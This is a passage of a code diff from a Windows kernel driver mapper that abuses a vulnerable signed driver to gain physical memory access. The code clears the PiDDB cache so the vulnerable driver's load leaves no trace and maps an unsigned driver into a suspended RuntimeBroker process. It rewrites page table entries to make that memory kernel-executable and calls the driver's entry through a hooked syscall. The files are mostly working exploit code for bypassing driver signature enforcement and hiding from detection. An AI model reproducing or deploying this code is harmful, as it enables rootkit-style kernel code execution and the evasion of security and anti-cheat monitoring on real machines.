// uses the pfn database to get the virtual address
//
void* get_virtual(void* virt_addr);
//
// use this to call any function in the kernel
//
template <class T, class ... Ts>
std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
{
static const auto proc =
GetProcAddress(
GetModuleHandleA(syscall_hook.second.data()),
syscall_hook.first.data()
);
if (!proc || !psyscall_func || !addr)
return {};
hook::make_hook(psyscall_func, addr);
auto result = reinterpret_cast<T>(proc)(args ...);
hook::remove(psyscall_func);
return result;
}
//
// clear piddb cache of a specific driver
//
bool clear_piddb_cache(const std::string& file_name, const std::uint32_t timestamp);
private:
//
// find and map the physical page of a syscall into this process
//
void map_syscall(std::uintptr_t begin, std::uintptr_t end) const;
//
// get a pointer to an eprocess given process id.
//
PEPROCESS get_peprocess(DWORD pid) const;
//
// get base address of process (used to compare and ensure we find the right page).
//
void* get_proc_base(unsigned pid) const;
};
}

281
nasa-mapper/loadup.hpp

@ -0,0 +1,281 @@
/*
MIT License
Copyright (c) 2020 xerox
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
*/
#pragma once
#include <Windows.h>
#include <Winternl.h>
#include <string>
#include <fstream>
#include <filesystem>
#include <iostream>
#pragma comment(lib, "ntdll.lib")
using nt_load_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
using nt_unload_driver_t = NTSTATUS(__fastcall*)(PUNICODE_STRING);
namespace driver
{
namespace util
{
inline bool delete_service_entry(const std::string& service_name)
{
HKEY reg_handle;
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && ERROR_SUCCESS == RegCloseKey(reg_handle);;
}
inline bool create_service_entry(const std::string& drv_path, const std::string& service_name)
{
HKEY reg_handle;
std::string reg_key("System\\CurrentControlSet\\Services\\");
reg_key += service_name;
auto result = RegCreateKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
if (result != ERROR_SUCCESS)
return false;
//
// set type to 1 (kernel)
//
constexpr std::uint8_t type_value = 1;
result = RegSetValueExA(
reg_handle,
"Type",
NULL,
REG_DWORD,
&type_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set error control to 3
//
constexpr std::uint8_t error_control_value = 3;
result = RegSetValueExA(
reg_handle,
"ErrorControl",
NULL,
REG_DWORD,
&error_control_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set start to 3
//
constexpr std::uint8_t start_value = 3;
result = RegSetValueExA(
reg_handle,
"Start",
NULL,
REG_DWORD,
&start_value,
4u
);
if (result != ERROR_SUCCESS)
return false;
//
// set image path to the driver on disk
//
result = RegSetValueExA(
reg_handle,
"ImagePath",
NULL,
REG_SZ,
(std::uint8_t*) drv_path.c_str(),
drv_path.size()
);
if (result != ERROR_SUCCESS)
return false;
return ERROR_SUCCESS == RegCloseKey(reg_handle);
}
// this function was coded by paracord: https://githacks.org/snippets/4#L94
inline bool enable_privilege(const std::wstring& privilege_name)
{
HANDLE token_handle = nullptr;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
return false;
LUID luid{};
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
return false;
TOKEN_PRIVILEGES token_state{};
token_state.PrivilegeCount = 1;
token_state.Privileges[0].Luid = luid;
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
return false;
CloseHandle(token_handle);
return true;
}
inline std::string get_service_image_path(const std::string& service_name)
{
HKEY reg_handle;
DWORD bytes_read;
char image_path[0xFF];
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
auto result = RegOpenKeyA(
HKEY_LOCAL_MACHINE,
reg_key.c_str(),
&reg_handle
);
result = RegGetValueA(
reg_handle,
service_name.c_str(),
"ImagePath",
REG_SZ,
NULL,
image_path,
&bytes_read
);
RegCloseKey(reg_handle);
return std::string(image_path);
}
}
inline bool load(const std::string& drv_path, const std::string& service_name)
{
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
return false;
if (!util::create_service_entry("\\??\\" + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
return false;
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_load_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtLoadDriver"
);
if (lp_nt_load_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
return ERROR_SUCCESS == reinterpret_cast<nt_load_driver_t>(lp_nt_load_drv)(&driver_reg_path_unicode);
}
return false;
}
inline std::tuple<bool, std::string> load(const std::vector<std::uint8_t>& drv_buffer)
{
static const auto random_file_name = [](std::size_t length) -> std::string
{
static const auto randchar = []() -> char
{
const char charset[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
const std::size_t max_index = (sizeof(charset) - 1);
return charset[rand() % max_index];
};
std::string str(length, 0);
std::generate_n(str.begin(), length, randchar);
return str;
};
const auto service_name = random_file_name(16);
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
std::ofstream output_file(file_path.c_str(), std::ios::binary);
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
output_file.close();
return { load(file_path, service_name), service_name };
}
inline std::tuple<bool, std::string> load(const std::uint8_t* buffer, const std::size_t size)
{
std::vector<std::uint8_t> image(buffer, buffer + size);
return load(image);
}
inline bool unload(const std::string& service_name)
{
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
reg_path += service_name;
static const auto lp_nt_unload_drv =
::GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtUnloadDriver"
);
if (lp_nt_unload_drv)
{
ANSI_STRING driver_rep_path_cstr;
UNICODE_STRING driver_reg_path_unicode;
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
const bool unload_drv = !reinterpret_cast<nt_unload_driver_t>(lp_nt_unload_drv)(&driver_reg_path_unicode);
const auto image_path = std::filesystem::temp_directory_path().string() + service_name;
const bool delete_reg = util::delete_service_entry(service_name);
try
{
const bool delete_drv = std::filesystem::remove(image_path);
}
catch(std::exception& e) {}
return unload_drv && delete_reg;
}
return false;
}
}

48
nasa-mapper/map_driver.cpp

@ -0,0 +1,48 @@
#include "map_driver.hpp"
#include "mapper_ctx/mapper_ctx.hpp"
#include "kernel_ctx/kernel_ctx.h"
namespace mapper
{
std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data)
{
std::vector<std::uint8_t> drv_buffer(drv_image, image_size + drv_image);
if (!drv_buffer.size())
return { mapper_error::image_invalid, nullptr };
if (!physmeme::load_drv())
return { mapper_error::load_error, nullptr };
physmeme::kernel_ctx kernel;
// after we setup the kernel_ctx we dont need any driver loaded anymore...
if (!physmeme::unload_drv())
return { mapper_error::unload_error, nullptr };
// clear piddb cache of the loaded vuln driver...
if (!kernel.clear_piddb_cache(physmeme::drv_key, util::get_file_header((void*)raw_driver)->TimeDateStamp))
return { mapper_error::piddb_fail, nullptr };
// start a runtime broker suspended...
const auto runtime_broker_pid = util::start_runtime_broker();
if (!runtime_broker_pid)
return { mapper_error::failed_to_create_proc, nullptr };
physmeme::mem_ctx my_proc(kernel, GetCurrentProcessId());
physmeme::mem_ctx runtime_broker(kernel, runtime_broker_pid);
physmeme::mapper_ctx mapper(my_proc, runtime_broker);
// allocate the driver in the suspended runtime broker and expose it to this process...
const auto [drv_base, drv_entry] = mapper.map(drv_buffer);
if (!drv_base || !drv_entry)
return { mapper_error::init_failed, nullptr };
mapper.call_entry(drv_entry, entry_data);
// mem_ctx destructors need to be called before kernel_ctx destructors...
my_proc.~mem_ctx();
runtime_broker.~mem_ctx();
return { mapper_error::error_success, drv_base };
}
}

27
nasa-mapper/map_driver.hpp

@ -0,0 +1,27 @@
#pragma once
#include <cstddef>
#include <cstdint>
#include <map>
namespace mapper
{
enum class mapper_error
{
error_success = 0x000, // everything is good!
image_invalid = 0x111, // the driver your trying to map is invalid (are you importing things that arent in ntoskrnl?)
load_error = 0x222, // unable to load signed driver into the kernel (are you running as admin?)
unload_error = 0x333, // unable to unload signed driver from kernel (are all handles to this driver closes?)
piddb_fail = 0x444, // piddb cache clearing failed... (are you using this code below windows 10?)
init_failed = 0x555, // setting up library dependancies failed!
failed_to_create_proc = 0x777 // was unable to create a new process to inject driver into! (RuntimeBroker.exe)
};
/// <summary>
/// map a driver only into your current process...
/// </summary>
/// <param name="drv_image">base address of driver buffer</param>
/// <param name="image_size">size of the driver buffer</param>
/// <param name="entry_data">data to be sent to the entry point of the driver...</param>
/// <returns>status of the driver being mapped, and base address of the driver...</returns>
std::pair<mapper_error, void*> map_driver(std::uint8_t* drv_image, std::size_t image_size, void** entry_data);
}

163
nasa-mapper/mapper_ctx/mapper_ctx.cpp

@ -0,0 +1,163 @@
#include "mapper_ctx.hpp"
namespace physmeme
{
mapper_ctx::mapper_ctx
(
physmeme::mem_ctx& map_into,
physmeme::mem_ctx& map_from
)
:
map_into(map_into),
map_from(map_from)
{}
std::pair<void*, void*> mapper_ctx::map(std::vector<std::uint8_t>& raw_image)
{
const auto [drv_alloc, drv_entry_addr] = allocate_driver(raw_image);
auto [drv_ppml4e, drv_pml4e] = map_from.get_pml4e(drv_alloc);
//
// make the pde & pte's containing the driver user supervisor = false...
//
make_kernel_access(drv_alloc);
//
// set new pml4e into specific process.
//
drv_pml4e.nx = false;
drv_pml4e.user_supervisor = false;
map_into.write_phys
(
reinterpret_cast<ppml4e*>(map_into.get_dirbase()) + PML4_MAP_INDEX,
drv_pml4e
);
virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc) };
new_addr.pml4_index = PML4_MAP_INDEX;
return { new_addr.value, drv_entry_addr };
}
bool mapper_ctx::call_entry(void* drv_entry, void** hook_handler) const
{
const auto result = map_into.k_ctx->syscall<NTSTATUS(__fastcall*)(void**)>(drv_entry, hook_handler);
return !result;
}
std::pair<void*, void*> mapper_ctx::allocate_driver(std::vector<std::uint8_t>& raw_image)
{
const auto _get_module = [&](std::string_view name)
{
return util::get_module_base(name.data());
};
const auto _get_export_name = [&](const char* base, const char* name)
{
return reinterpret_cast<std::uintptr_t>(util::get_module_export(base, name));
};
physmeme::pe_image drv_image(raw_image);
const auto process_handle =
OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
map_from.get_pid()
);
if (!process_handle)
return {};
drv_image.fix_imports(_get_module, _get_export_name);
drv_image.map();
const auto drv_alloc_base =
reinterpret_cast<std::uintptr_t>(
direct::alloc_virtual_memory(
process_handle,
drv_image.size(),
PAGE_READWRITE
));
if (!drv_alloc_base)
return {};
virt_addr_t new_addr = { reinterpret_cast<void*>(drv_alloc_base) };
new_addr.pml4_index = PML4_MAP_INDEX;
drv_image.relocate(reinterpret_cast<std::uintptr_t>(new_addr.value));
//
// dont write nt headers...
//
const bool result = direct::write_virtual_memory
(
process_handle,
reinterpret_cast<void*>((std::uint64_t)drv_alloc_base + drv_image.header_size()),
reinterpret_cast<void*>((std::uint64_t)drv_image.data() + drv_image.header_size()),
drv_image.size() - drv_image.header_size()
);
if (!CloseHandle(process_handle))
return { {}, {} };
return
{
reinterpret_cast<void*>(drv_alloc_base),
reinterpret_cast<void*>(drv_image.entry_point() + reinterpret_cast<std::uintptr_t>(new_addr.value))
};
}
void mapper_ctx::make_kernel_access(void* drv_base)
{
const auto [ppdpte, pdpte] = map_from.get_pdpte(drv_base);
auto ppdpte_phys = reinterpret_cast<void*>((reinterpret_cast<std::uint64_t>(ppdpte) >> 12) << 12); // 0 the last 12 bits...
auto pdpt_mapping = reinterpret_cast<::ppdpte>(map_from.set_page(ppdpte_phys));
// set pdptes to CPL0 access only and executable...
for (auto pdpt_idx = 0u; pdpt_idx < 512; ++pdpt_idx)
{
if (pdpt_mapping[pdpt_idx].present)
{
pdpt_mapping[pdpt_idx].user_supervisor = false;
pdpt_mapping[pdpt_idx].nx = false;
auto pd_mapping = reinterpret_cast<ppde>(
map_from.set_page(reinterpret_cast<void*>(
pdpt_mapping[pdpt_idx].pfn << 12)));
// set pdes to CPL0 access only and executable...
for (auto pd_idx = 0u; pd_idx < 512; ++pd_idx)
{
if (pd_mapping[pd_idx].present)
{
pd_mapping[pd_idx].user_supervisor = false;
pd_mapping[pd_idx].nx = false;
auto pt_mapping = reinterpret_cast<ppte>(
map_from.set_page(reinterpret_cast<void*>(
pd_mapping[pd_idx].pfn << 12)));
// set ptes to CPL0 access only and executable...
for (auto pt_idx = 0u; pt_idx < 512; ++pt_idx)
{
if (pt_mapping[pt_idx].present)
{
pt_mapping[pt_idx].user_supervisor = false;
pt_mapping[pt_idx].nx = false;
}
}
// set page back to pd...
pd_mapping = reinterpret_cast<ppde>(
map_from.set_page(reinterpret_cast<void*>(
pdpt_mapping[pdpt_idx].pfn << 12)));
}
}
// set page back to pdpt...
pdpt_mapping = reinterpret_cast<::ppdpte>(
map_from.set_page(ppdpte_phys));
}
}
}
}

24
nasa-mapper/mapper_ctx/mapper_ctx.hpp

@ -0,0 +1,24 @@
#include "../mem_ctx/mem_ctx.hpp"
#include "../pe_image/pe_image.h"
#include "../direct.h"
#define PML4_MAP_INDEX 70
namespace physmeme
{
class mapper_ctx
{
public:
explicit mapper_ctx
(
physmeme::mem_ctx& map_into,
physmeme::mem_ctx& map_from
);
std::pair<void